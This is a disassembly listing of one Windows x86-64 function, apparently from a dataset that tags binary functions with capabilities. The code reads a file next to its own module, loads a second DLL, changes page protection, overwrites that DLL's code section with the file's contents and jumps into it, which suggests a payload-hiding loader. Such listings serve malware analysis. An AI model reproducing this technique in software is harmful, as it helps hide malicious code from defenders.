Function at 0x1800078e1
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
lea rax, [0x1800be5a5]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov rax, qword [rax + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x44]
mov ebx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x44]
mov edx, eax
mov rax, qword [rbp + 0x80]
mov rcx, rax
call fcn.180007847
mov rax, qword [rbp + 0x80]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
mov rax, qword [rbp + 0x90]
mov rax, qword [rax + 0x3c]
mov qword [rbp + 0x78], rax
mov dword [rbp + 0xac], 0
mov eax, dword [rbp + 0xac]
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x80]
add rax, rdx
movzx eax, word [rax]
test ax, ax
je 0x1800079c5
add dword [rbp + 0xac], 1
jmp 0x1800079a0
mov eax, dword [rbp + 0xac]
mov dword [rbp + 0xa8], eax
mov eax, dword [rbp + 0xa8]
sub eax, 1
mov eax, eax
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x80]
add rax, rdx
movzx eax, word [rax]
cmp ax, 0x5c
je 0x180007a15
mov eax, dword [rbp + 0xa8]
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x80]
add rax, rdx
mov word [rax], 0
sub dword [rbp + 0xa8], 1
jmp 0x1800079d1
mov dword [rbp + 0xa4], 0
mov eax, dword [rbp + 0xa4]
mov rdx, qword [rbp + 0x78]
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x180007a6c
mov eax, dword [rbp + 0xa4]
mov rdx, qword [rbp + 0x78]
add rax, rdx
movzx eax, byte [rax]
mov edx, dword [rbp + 0xa8]
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x80]
add rdx, rcx
cbw
mov word [rdx], ax
add dword [rbp + 0xa8], 1
add dword [rbp + 0xa4], 1
jmp 0x180007a1f
mov rax, qword [rbp + 0x80]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0xffffffffffffffff
je 0x180007e0c
mov rax, qword [rbp + 0x70]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x6c], eax
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x2c]
mov ebx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x2c]
mov edx, eax
mov rax, qword [rbp + 0x60]
mov rcx, rax
call fcn.180007847
mov dword [rbp - 0xc], 0
lea rcx, [rbp - 0xc]
mov r8d, dword [rbp + 0x6c]
mov rdx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
sete al
test al, al
jne 0x180007e0f
mov eax, dword [rbp - 0xc]
mov edx, eax
mov rax, qword [rbp + 0x60]
add rax, rdx
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x5c]
mov eax, eax
add qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
mov dword [rbp + 0x54], eax
mov rax, qword [rbp - 0x18]
add rax, 4
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
mov dword [rbp + 0x50], eax
mov rax, qword [rbp - 0x18]
add rax, 4
mov qword [rbp - 0x18], rax
mov dword [rbp + 0xa0], 0
mov eax, dword [rbp + 0xa0]
cmp dword [rbp + 0x54], eax
jbe 0x180007bde
mov rax, qword [rbp - 0x18]
mov ecx, dword [rax]
mov rax, qword [rbp - 0x18]
mov edx, dword [rbp + 0x50]
add edx, ecx
mov dword [rax], edx
add dword [rbp + 0xa0], 1
mov rax, qword [rbp - 0x18]
add rax, 4
mov qword [rbp - 0x18], rax
jmp 0x180007bad
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x68]
mov eax, eax
add qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x180007e12
mov rax, qword [rbp + 0x60]
movzx eax, byte [rax]
movsx rax, al
add qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0x40], 0
je 0x180007e15
mov rax, qword [rbp + 0x60]
movzx eax, byte [rax]
movsx rax, al
add qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x48]
mov rcx, rdx
call rax
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
je 0x180007e18
mov rax, qword [rbp + 0x60]
movzx eax, byte [rax]
movsx rax, al
add qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x90]
mov eax, dword [rax + 0x38]
mov edx, eax
mov rax, qword [rbp + 0x60]
add rax, rdx
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 4]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 8]
mov dword [rbp + 0x20], eax
mov eax, dword [rbp + 0x20]
mov rdx, qword [rbp + 0x30]
add rax, rdx
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x38]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x38]
add rax, rdx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x2c]
mov edx, eax
mov rax, qword [rbp + 0x38]
add rax, rdx
mov qword [rbp + 8], rax
mov dword [rbp - 0x1c], 0
mov rax, qword [rbp + 0x90]
mov r8d, dword [rax + 0x20]
mov eax, dword [rbp + 0x20]
lea rdx, [rbp - 0x1c]
mov rcx, qword [rbp + 8]
mov r10, qword [rbp + 0x40]
mov r9, rdx
mov rdx, rax
call r10
mov ecx, dword [rbp + 0x20]
mov rdx, qword [rbp + 0x30]
mov rax, qword [rbp + 8]
mov r8d, ecx
mov rcx, rax
call fcn.180007890
mov r8d, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x20]
lea rdx, [rbp - 0x1c]
mov rcx, qword [rbp + 8]
mov r10, qword [rbp + 0x40]
mov r9, rdx
mov rdx, rax
call r10
mov eax, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
add rax, rdx
mov qword [rbp], rax
mov dword [rbp + 0x9c], 0
mov rax, qword [rbp + 0x90]
mov rdx, qword [rax + 0x18]
mov eax, dword [rbp + 0x9c]
cdqe
add rax, rdx
movzx eax, byte [rax]
test al, al
setne al
test al, al
je 0x180007dc9
mov rax, qword [rbp + 0x90]
mov rdx, qword [rax + 0x18]
mov eax, dword [rbp + 0x9c]
cdqe
add rax, rdx
movzx eax, byte [rax]
mov edx, dword [rbp + 0x9c]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x58]
add rdx, rcx
cbw
mov word [rdx], ax
add dword [rbp + 0x9c], 1
jmp 0x180007d6c
mov eax, dword [rbp + 0x9c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x58]
add rax, rdx
mov word [rax], 0
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x30], 1
mov rax, qword [rbp]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x40]
mov rdx, qword [rbp - 8]
mov rcx, rax
call rdx
jmp 0x180007e19
nop
jmp 0x180007e19
nop
jmp 0x180007e19
nop
jmp 0x180007e19
nop
jmp 0x180007e19
nop
add rsp, 0x138
pop rbx
pop rbp
ret